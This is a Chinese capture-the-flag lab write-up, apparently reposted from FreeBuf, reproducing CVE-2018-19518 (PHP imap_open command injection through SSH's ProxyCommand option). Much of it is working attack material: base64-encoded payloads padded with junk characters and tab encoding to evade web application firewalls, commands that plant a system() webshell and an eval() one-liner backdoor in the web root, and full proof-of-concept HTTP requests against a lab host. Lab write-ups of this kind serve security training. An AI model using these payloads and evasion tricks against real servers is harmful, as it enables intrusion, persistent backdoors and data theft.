【春秋云镜】CVE-2018-19518漏洞复现
文章介绍了一个利用PHP imap扩展中的imap_open函数进行远程代码执行(RCE)的漏洞。通过构造特定的SSH命令并结合Base64编码绕过WAF检测,攻击者可以注入恶意代码到目标服务器上。具体方法包括构造带有ProxyCommand参数的SSH命令,在目标服务器上写入后门文件以获取持久访问权限,并最终获取敏感信息如flag。 2025-11-29 18:48:33 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

一个RCE题目,poc在文章最底部

靶场给出的提示是:

php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。

复现过程及深度剖析

开启靶场

1764437424_692b2db03efc4bb671150.png!small?1764437423525

随便输入一些信息用burp抓包

1764437969_692b2fd193448c5452b35.png!small?1764437968882

执行命令的是hostname,发送到repeater

方法一:使用system执行命令

构造一个ssh命令:

echo '<?php system($_GET['1']);phpinfo(); ?>' > /var/www/html/1.php

注意?>前面必须要有空格,否则会被shell判定为重定向符号

这里加?>是为了方便大家理解 在实战中?>往往是被waf禁止的

最佳即为

echo '<?php system($_GET['1']);phpinfo();' > /var/www/html/1.php

接下来使用base64加密转换一下 用于绕过waf检测

1764438443_692b31ab27cb42f9de856.png!small?1764438442470

ZWNobyAnPD9waHAgc3lzdGVtKCRfR0VUWycxJ10pO3BocGluZm8oKTsnID4gL3Zhci93d3cvaHRtbC8xLnBocA==

通过添加用于绕过waf的干扰符号得到

x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgc3lzdGVtKCRfR0VUWycxJ10pO3BocGluZm8oKTsnID4gL3Zhci93d3cvaHRtbC8xLnBocA==|base64%09-d|sh}a

SSH 支持 -oProxyCommand=xxx 指定代理命令,很多版本(尤其是老版本)对这里的内容没有充分过滤/转义。
我们可以把整个payload 塞进 ProxyCommand 参数里,让 SSH 客户端自己去执行 shell 命令。

把光标移动到这里发现转义前的命令

1764438958_692b33aee04222a14f8ba.png!small?1764438958273

其中%09是url编码 意即tab,用于绕过waf

下面是用ai找到的常用于waf绕过的url编码

1764439154_692b34728c63cc286b620.png!small?1764439153776

开头 x 和结尾 }a 完全是垃圾字符,用来绕过一些简单的正则检测(比如只检测以 echo 开头或以 base64 结尾的规则)
中间的 +- 也是干扰项,真正的 payload 是从 -oProxyCommand 开始的

发送请求包

1764439351_692b3537f27959918b42e.png!small?1764439351371

打开新建的含有恶意代码的页面

1764439437_692b358ded36f6db940ea.png!small?1764439437162

1764439454_692b359e87ba15f861fdf.png!small?1764439453901

这是成功的 有phpinfo回显和空命令的执行

构造get请求获取flag

1764439546_692b35fa83e7f762be596.png!small?1764439545686

1764439556_692b3604b1bd83de05350.png!small?1764439556094

方法二:写入后门getshell

原理同法一,不过多赘述

这里构造一个一句话木马,注意这里的密码不能是数字

echo '<?php eval($_POST['two']);' > /var/www/html/2.php

base64加密后是

ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbJ3R3byddKTsnID4gL3Zhci93d3cvaHRtbC8yLnBocA==

构造命令

x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbJ3R3byddKTsnID4gL3Zhci93d3cvaHRtbC8yLnBocA==|base64%09-d|sh}a

burp发送请求包

1764441446_692b3d66866fd7f329e28.png!small?1764441445878

访问http://host/2.php发现回显的是空白页面而不是404证明上传成功

用蚁剑连接

1764441569_692b3de19fddf1a0342a2.png!small?1764441568940

1764441590_692b3df6ee979fc2c297e.png!small?1764441590210

得到flag

POC

POST / HTTP/1.1
Host: 39.106.48.123:39628
Content-Length: 152
Cache-Control: max-age=0
Origin: http://39.106.48.123:39628
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://39.106.48.123:39628/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wp_lang=zh_CN; wordpress_logged_in_9a898ff8b5c5f9da8b6b69da7e40a911=test%7C1764349676%7C08llMkxRGfqwEWEu8gVozxreygALcOGLY1uKkoTwdnU%7C71f9d0720eec1025b7e08135607f4678031fbdc75ff731756f68bc86367ee650; wp-settings-time-1=1764181066; COOKIE_LAST_ADMIN_USER=admin; cookies_accepted=1
Connection: keep-alive

hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgc3lzdGVtKCRfR0VUWycxJ10pO3BocGluZm8oKTsnID4gL3Zhci93d3cvaHRtbC8xLnBocA==|base64%09-d|sh}a&username=11&password=11
POST / HTTP/1.1
Host: 39.106.48.123:39628
Content-Length: 152
Cache-Control: max-age=0
Origin: http://39.106.48.123:39628
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://39.106.48.123:39628/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wp_lang=zh_CN; wordpress_logged_in_9a898ff8b5c5f9da8b6b69da7e40a911=test%7C1764349676%7C08llMkxRGfqwEWEu8gVozxreygALcOGLY1uKkoTwdnU%7C71f9d0720eec1025b7e08135607f4678031fbdc75ff731756f68bc86367ee650; wp-settings-time-1=1764181066; COOKIE_LAST_ADMIN_USER=admin; cookies_accepted=1
Connection: keep-alive

hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbJ3R3byddKTsnID4gL3Zhci93d3cvaHRtbC8yLnBocA==|base64%09-d|sh}a&username=11&password=11

结语

感谢耐心看完,有错误的地方欢迎指出

写稿不易点个赞再走呗


文章来源: https://www.freebuf.com/articles/web/459688.html
如有侵权请联系:admin#unsafe.sh